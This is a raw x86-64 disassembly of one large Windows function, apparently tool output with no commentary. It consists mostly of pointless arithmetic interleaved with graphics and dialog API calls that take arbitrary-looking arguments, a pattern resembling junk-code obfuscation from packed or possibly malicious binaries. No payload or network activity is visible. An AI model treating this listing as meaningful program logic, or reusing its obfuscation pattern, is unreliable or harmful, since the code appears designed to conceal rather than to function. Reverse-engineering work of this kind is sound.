mov rax, qword [rsp + 0xcfb8]
sar rax, cl
mov rcx, qword [rsp + 0xd060]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x41e]
mov rcx, qword [rsp + 0xd140]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0xcf88]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x63f0], eax
cmp dword [rsp + 0x6320], 0x243a
jne 0x14001b919
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0xce70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd188]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13e], al
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
mov dword [rsp + 0x649c], eax
cmp dword [rsp + 0x649c], 0
je 0x14001bd29
mov dword [rsp + 0x20], 0x96
mov r9d, 0x75
mov r8d, 0x97
mov edx, 0xc3
mov rcx, qword [rsp + 0xd0e8]
call qword [sym.imp.GDI32.dll_Ellipse]
mov dword [rsp + 0x64c4], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xaf28]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x416]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x95]
movzx r8d, byte [rsp + 0x417]
movzx edx, word [rsp + 0x1ecc]
mov rax, qword [rsp + 0xd148]
mov ecx, dword [rax]
call fcn.140187940
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcf88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x63f0], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x63a0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x63c0], eax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcf78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb810], rax
mov edx, 0x5b
mov rcx, qword [rsp + 0xcf28]
call qword [sym.imp.GDI32.dll_SetMapMode]
mov dword [rsp + 0x6450], eax
mov rax, qword [rsp + 0xd160]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [0x1401b440b]
movzx r8d, byte [rsp + 0x413]
movzx edx, word [rsp + 0x1d90]
mov rax, qword [rsp + 0xd148]
mov ecx, dword [rax]
call fcn.140187940
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0x1bbe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1bbe8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5a18], eax
mov rax, qword [rsp + 0xd148]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6478]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c0], eax
mov dword [rsp + 0x20], 0xa4
mov r9d, 0x57
lea r8, [fcn.140187860]
lea rdx, [rsp + 0x1cce0]
mov rcx, qword [rsp + 0xcf00]
call qword [sym.imp.GDI32.dll_EnumFontFamiliesExW]
mov dword [rsp + 0x51dc], eax
movsx eax, word [rsp + 0x1ea0]
movsx ecx, word [rsp + 0x1ec0]
or eax, ecx
mov word [0x1401a53bc], ax
movzx eax, word [rsp + 0xe6c]
movzx ecx, word [rsp + 0x1534]
and eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0xd140]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x418], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [0x1401a53b8]
sub eax, ecx
mov word [rsp + 0x1444], ax
movzx eax, word [rsp + 0x1b38]
movzx ecx, word [rsp + 0xf9c]
add eax, ecx
mov word [rsp + 0x1d90], ax
movsx eax, byte [0x1401b440b]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcfe0]
mov byte [rcx], al
lea rdx, [rsp + 0x1cb90]
mov rcx, qword [rsp + 0xcfb0]
call qword [sym.imp.GDI32.dll_GetWindowExtEx]
mov dword [rsp + 0x6354], eax
movzx eax, word [rsp + 0x1ecc]
movzx ecx, word [rsp + 0x1ed4]
shl eax, cl
mov word [rsp + 0x1d90], ax
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1e84]
or eax, ecx
mov word [0x1401a53b8], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
xor eax, ecx
mov byte [rsp + 0x417], al
jmp 0x1401869ed
lea rdx, [rsp + 0xd030]
mov rcx, qword [rsp + 0xd1a0]
call qword [sym.imp.GDI32.dll_GetRgnBox]
mov dword [rsp + 0x51dc], eax
mov eax, dword [rsp + 0x63c0]
mov ecx, dword [rsp + 0x63a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x63a0], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd000], rax
movsx eax, word [rsp + 0x1ec4]
movsx ecx, word [rsp + 0x1eb4]
add eax, ecx
mov word [rsp + 0x1ec8], ax
mov rax, qword [rsp + 0xd060]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd40]
mov qword [rsp + 0x1bbf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1bbf0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaff8], rax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb780]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcf78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf98]
mov rcx, qword [rsp + 0xcf88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x51dc], eax
jmp 0x140186b24
mov rax, qword [rsp + 0xcfc0]
mov rcx, qword [rsp + 0xcd98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6424], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xb2f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd30], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcdc], ax
movzx eax, byte [rsp + 0x418]
movzx ecx, byte [rsp + 0x415]
add eax, ecx
mov byte [0x1401b440a], al
mov dword [rsp + 0x20], 0x34
mov r9d, 0xad
mov r8d, 0xc1
mov edx, 0x34
mov rcx, qword [rsp + 0xd098]
call qword [sym.imp.GDI32.dll_ExtFloodFill]
mov dword [rsp + 0x6274], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [0x1401b440c]
shl eax, cl
mov word [rsp + 0x1eb4], ax
movsx eax, word [rsp + 0x1eb4]
mov rcx, qword [rsp + 0xd030]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
and eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov edx, 0x57
mov rcx, qword [rsp + 0xcf00]
call qword [sym.imp.GDI32.dll_SetBkMode]
mov dword [rsp + 0x63f0], eax
mov ecx, dword [rsp + 0x63a0]
call fcn.1401879a0
mov eax, dword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x6300]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
jmp 0x140186c2d
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa7d0]
shl rax, cl
mov rcx, qword [rsp + 0xcf78]
mov qword [rcx], rax
mov r9d, 0xef
lea r8, [rsp + 0x1bc30]
lea rdx, [rsp + 0x639c]
mov rcx, qword [rsp + 0xcf38]
call qword [sym.imp.GDI32.dll_GetPath]
mov dword [rsp + 0x51dc], eax
mov rax, qword [rsp + 0xcd38]
movzx ecx, al
mov rax, qword [rsp + 0xcf30]
sar rax, cl
mov qword [rsp + 0xcfb8], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x416]
sub eax, ecx
mov byte [rsp + 0x41a], al
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcff0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xce70], rax
movsx eax, word [rsp + 0x1ea4]
movsx ecx, word [rsp + 0x1ea0]
and eax, ecx
mov word [rsp + 0x1e94], ax
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ed4], ax
movzx eax, byte [rsp + 0x322]
movzx ecx, byte [rsp + 0x417]
or eax, ecx
mov byte [0x1401a5039], al
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcf08]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xcfc0]
mov ecx, dword [rax]
call fcn.1401879a0
jmp 0x140186cf6
mov rcx, qword [rsp + 0xd078]
call qword [sym.imp.GDI32.dll_SaveDC]
mov dword [rsp + 0x640c], eax
mov rax, qword [rsp + 0xce28]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x14f]
call fcn.1401878c0
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
sub eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0xcf98]
mov eax, dword [rax]
mov ecx, dword [0x1401a53b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
jmp 0x140186d6b
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
sub eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcd38]
mov rcx, qword [rsp + 0xcf68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
or eax, ecx
mov byte [0x1401b440a], al
mov ecx, dword [rsp + 0x63a8]
call fcn.1401879a0
lea rdx, [rsp + 0x54ac]
mov rcx, qword [rsp + 0x1bbf8]
call qword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
mov dword [rsp + 0x6308], eax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x414]
add eax, ecx
mov byte [rsp + 0x2cd], al
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xce28]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xce28]
movzx ecx, byte [rax]
call fcn.1401878c0
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xd078]
call qword [sym.imp.GDI32.dll_CancelDC]
mov dword [rsp + 0x6308], eax
movzx eax, byte [rsp + 0x415]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x417], al
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1eb4]
and eax, ecx
mov word [rsp + 0x1e94], ax
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0xf9c]
sub eax, ecx
mov word [0x1401a53a4], ax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x414]
add eax, ecx
mov byte [rsp + 0x3ff], al
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xcea8]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x6300]
mov edx, dword [rsp + 0x51b8]
mov rax, qword [rsp + 0xcea8]
mov ecx, dword [rax]
call fcn.140187860
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x6374]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x54ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd60]
mov qword [rsp + 0x1bc00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1bc00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xce28]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xce28]
movzx ecx, byte [rax]
call fcn.1401878c0
lea r9, [rsp + 0x1d90]
mov r8d, 0x1a
mov edx, 0x90
mov rcx, qword [rsp + 0xcf28]
call qword [sym.imp.GDI32.dll_GetCharWidth32W]
mov dword [rsp + 0x639c], eax
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1eac], ax
movzx eax, byte [rsp + 0x416]
movzx ecx, byte [rsp + 0x413]
xor eax, ecx
mov byte [rsp + 0x322], al
mov rax, qword [rsp + 0xce20]
mov rcx, qword [0x1401a53a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
movzx edx, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x3ff]
call fcn.1401878c0
mov rax, qword [rsp + 0xcf28]
mov qword [rsp + 0x20], rax
mov r9d, 0x96
lea r8, [rsp + 0xce30]
mov edx, 0x67
mov rcx, qword [rsp + 0x1bc08]
call qword [sym.imp.GDI32.dll_GetWinMetaFileBits]
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce20]
mov qword [rsp + 0x1bc10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1bc10]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ea8], ax
jmp 0x14018729d
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x62cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x51b8]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14018729d
mov edx, 0xc5
mov ecx, 0xeb
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0xce38], rax
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x62d8]
add ecx, eax
mov eax, ecx
mov dword [0x1401a5390], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6360], eax
movzx eax, byte [0x1401a5038]
movzx ecx, byte [rsp + 0x413]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov r9d, 0x38
mov r8d, 0x3c
mov rdx, qword [rsp + 0xd068]
mov rcx, qword [rsp + 0xce98]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x6308], eax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
and eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a53a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [0x1401a53a8]
mov rcx, qword [0x1401a5398]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
or eax, ecx
mov word [rsp + 0x1d90], ax
lea r9, [rsp + 0x1ce20]
mov r8d, 0xc7
mov edx, 0xe8
mov rcx, qword [rsp + 0xd3a0]
call qword [sym.imp.GDI32.dll_SetBitmapDimensionEx]
mov dword [rsp + 0x637c], eax
mov eax, dword [rsp + 0x6300]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
shl eax, cl
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x62c8]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0x1bc18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1bc18]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x630c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x414]
sar eax, cl
mov byte [rsp + 0x3ff], al
lea rcx, [rsp + 0x1bc30]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0xce90], rax
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [0x1401b440c]
xor eax, ecx
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
shl eax, cl
mov byte [rsp + 0x415], al
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
or eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
jmp 0x14018740e
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0xcd58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov rdx, qword [rsp + 0xcd60]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jbe 0x14018740e
call fcn.140187a00
lea r8, [rsp + 0xcd40]
lea rdx, [rsp + 0x1cf70]
lea rcx, [rsp + 0xcd98]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x6308], eax
movsx eax, word [rsp + 0x1e94]
movsx ecx, word [rsp + 0x1ea4]
and eax, ecx
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
shl rax, 0x16
mov qword [rsp + 0xcd38], rax
mov eax, dword [rsp + 0x62cc]
movzx ecx, al
mov eax, dword [rsp + 0x51b8]
sar eax, cl
mov dword [0x1401a5390], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea4]
or eax, ecx
mov word [rsp + 0x1ea8], ax
movsx eax, byte [rsp + 0x14f]
and eax, 0x5d
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6270], eax
mov ecx, dword [rsp + 0x6270]
call fcn.1401879a0
mov r9d, 0xbc
mov r8d, 0x75
mov rdx, qword [rsp + 0xd228]
mov rcx, qword [rsp + 0xce98]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x6308], eax
mov eax, dword [rsp + 0x62ec]
mov ecx, dword [0x1401b4410]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd30], rax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x415]
sub eax, ecx
mov byte [rsp + 0x413], al
movzx eax, word [rsp + 0xf9c]
add eax, 0x11e
mov word [rsp + 0x1d90], ax
jmp 0x1401875ce
movzx eax, word [rsp + 0x1d90]
sub eax, 0xf82
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x7b40da4bb0060d
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e94], ax
movzx eax, byte [rsp + 0x413]
shl eax, 7
mov byte [rsp + 0x1ce], al
mov eax, dword [rsp + 0x62cc]
sar eax, 3
mov dword [0x1401a5390], eax
movzx eax, byte [rsp + 0x413]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x414]
movzx r8d, byte [rsp + 0x413]
movzx edx, word [rsp + 0xf9c]
mov ecx, dword [rsp + 0x6270]
call fcn.140187940
movsx eax, byte [rsp + 0x414]
add eax, 0x1f
mov byte [rsp + 0x414], al
lea rcx, [rsp + 0x1cb90]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x6274], eax
movsx eax, byte [rsp + 0x414]
sub eax, 0x17
mov byte [rsp + 0x414], al
lea rcx, [rsp + 0x1d1e0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x6274], eax
movzx edx, byte [rsp + 0x414]
movzx ecx, byte [rsp + 0x414]
call fcn.1401878c0
mov eax, dword [0x1401a5390]
add eax, 0x1967
mov dword [0x1401a5390], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
sub eax, 0x58d
mov word [rsp + 0x1e94], ax
movzx eax, byte [rsp + 0x413]
add eax, 0xfa
mov byte [rsp + 0x1ce], al
movabs rax, 0x7e56467c48c150
mov rcx, qword [rsp + 0xcd38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x413]
sub eax, 0x7b
mov byte [rsp + 0x413], al
movsx eax, word [rsp + 0x1e94]
sub eax, 0x87
mov word [rsp + 0x1e94], ax
movzx eax, word [rsp + 0x1d90]
add eax, 0x5d1
mov word [rsp + 0x1d90], ax
mov eax, dword [0x1401b4410]
movzx ecx, al
mov eax, dword [rsp + 0x6270]
shl eax, cl
mov dword [rsp + 0x54ac], eax
movabs rax, 0x7b43eafdd2445b
mov rcx, qword [rsp + 0xcd30]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd30], rax
lea rcx, [rsp + 0x1d260]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x6308], eax
call fcn.140187a50
mov eax, dword [rsp + 0x6270]
sub eax, 0x7a56
mov dword [rsp + 0x6270], eax
mov eax, dword [rsp + 0x6270]
and eax, 0x751a
mov dword [rsp + 0x6270], eax
mov eax, dword [rsp + 0x6270]
shl eax, 0x17
mov dword [rsp + 0x6270], eax
mov eax, dword [rsp + 0x6270]
or eax, 0xbcd2
mov dword [rsp + 0x6270], eax
lea rcx, [rsp + 0x1d160]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x6354], eax
call fcn.140187a00
mov eax, dword [rsp + 0x5424]
add rsp, 0x24a20
pop rdi
ret